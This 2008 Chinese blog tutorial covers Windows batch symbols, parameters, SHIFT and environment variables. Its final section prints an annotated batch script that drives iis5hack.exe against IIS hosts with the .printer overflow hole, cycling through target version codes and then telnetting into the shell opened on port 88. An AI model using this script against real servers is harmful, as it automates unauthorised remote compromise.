• 2008-07-09

    批处理的专用命令(下)

    Tag:

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://www.blogbus.com/dickmoore-logs/53711881.html


    7、   符号(&&) 
    &&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。例: 
    c:\\> dir z:\\ &&dir y:\\ &&dir c:\\ 
    以上的命令将会提示检查是否存在z:盘如果存在则执行,如果不存在则停止执行所有的后续命令 
    8、   符号(" ") 
    " "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例: 
    c:\\>cd “Program Files” 
    c:\\>cd progra~1 
    c:\\>cd pro* 
    以上方法都可以进入Program Files目录 
    9、   符号(,) 
    ,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例: 
    c:\\>dir,c:\\ 
    10、   符号(;) 
    ;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例: 
    DIR C:\\;D:\\;E:\\F:\\ 
    以上的命令相当于 
    DIR C:\\ 
    DIR D:\\ 
    DIR E:\\ 
    DIR F:\\ 
    当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。 

    第三部分:批处理与变量 

    在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下: 
    C::\\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11 
    SHIFT.BAT 1 2 3 4 5 6 7 8 9 
    1 2 3 4 5 6 7 8 9 10 
    2 3 4 5 6 7 8 9 10 11 
    系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例: 
    批处理内容为: 
    ECHO %1 
    ECHO %2 
    ECHO %3 
    输入命令: 
    C:\\>TEST “Program Files” Program Files 
    Program Files 
    Program 
    Files 
    在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%或%SystemRoot%等。当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如 SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下: 
    ECHO OFF 
    SET PASS=%1 
    SHIFT 
    SET PASS1=%1 
    SHIFT 
    ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9 
    SHIFT 
    ECHO %PASS% %PASS1% %9 
    SET PASS=%PASS1%     变量的传递 
    SET PASS1=%9 
    SHIFT 
    ECHO %PASS% %PASS1% %9 
    使用命令:C:\\>TEST A B 3 4 5 6 7 8 9 10 K L 
    A B 3 4 5 6 7 8 9 10 K 注意:这一行显示了11个变量 
    A B L       在使用了3次SHIFT之后%9变成了L 
    B L         变量的传递后的结果 

    第四部分:完整案例 

    以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。 
    例一 
    这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为: 
    iis5hack <目标ip> <目标端口> <目标版本> <溢出连接端口>目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为 开始版本号可有可无。程序如下。 
    @echo off             /*关闭命令回显 
    if "%1%"=="" goto help       /*判断%1是否为空,%1为目标ip 
    if "%2%"=="1" goto 1         /*判断%2是否为1,为1则跳转标志1 
    if "%2%"=="2" goto 2         /*%2为开始版本号,如果没有设置则 
    if "%2%"=="3" goto 3         /*如果存在则从匹配的地方开始执行 
    if "%2%"=="4" goto 4 
    if "%2%"=="5" goto 5 
    if "%2%"=="6" goto 6 
    if "%2%"=="7" goto 7 
    if "%2%"=="8" goto 8 
    if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容 
    ping %1 -n 1 | find "Received = 1" /*ping目标1次,从结果中发现Received = 1 
    if errorlevel 1 goto error     /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行) 
    iis5hack %1 80 9 88 | find "good" /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串”good”(溢出成功后才会有字符串good) 
    if not errorlevel 1 goto telnet   /*如果没有错误代码1(溢出成功)就执行telnet段的内容。 
    echo 操作系统类型 9 失败!   /否则显示这一句 
    :8             /*以下代码内容参照上面 
    iis5hack %1 80 8 88 | find "good" 
    if not errorlevel 1 goto telnet 
    echo 操作系统类型 8 失败! 
    :7 
    iis5hack %1 80 7 88 | find "good" 
    if not errorlevel 1 goto telnet 
    echo 操作系统类型 7 失败! 
    :6 
    iis5hack %1 80 6 88 | find "good" 
    if not errorlevel 1 goto telnet 
    echo 操作系统类型 6 失败! 
    :5 
    iis5hack %1 80 5 88 | find "good" 
    if not errorlevel 1 goto telnet 
    echo 操作系统类型 5 失败! 
    :4 
    iis5hack %1 80 4 88 | find "good" 
    if not errorlevel 1 goto telnet 
    echo 操作系统类型 4 失败! 
    :3 
    iis5hack %1 80 3 88 | find "good" 
    if not errorlevel 1 goto telnet 
    echo 操作系统类型 3 失败! 
    :2 
    iis5hack %1 80 2 88 | find "good" 
    if not errorlevel 1 goto telnet 
    echo 操作系统类型 2 失败! 
    :1 
    iis5hack %1 80 1 88 | find "good" 
    if not errorlevel 1 goto telnet 
    echo 操作系统类型 1 失败! 
    :0 
    iis5hack %1 80 0 88 | find "good" 
    if not errorlevel 1 goto telnet 
    echo 操作系统类型 0 失败! 
    goto error 
    :telnet 
    telnet %1 88           /*开始连接目标ip的88端口 
    .relpost{clear:both}
    分享到: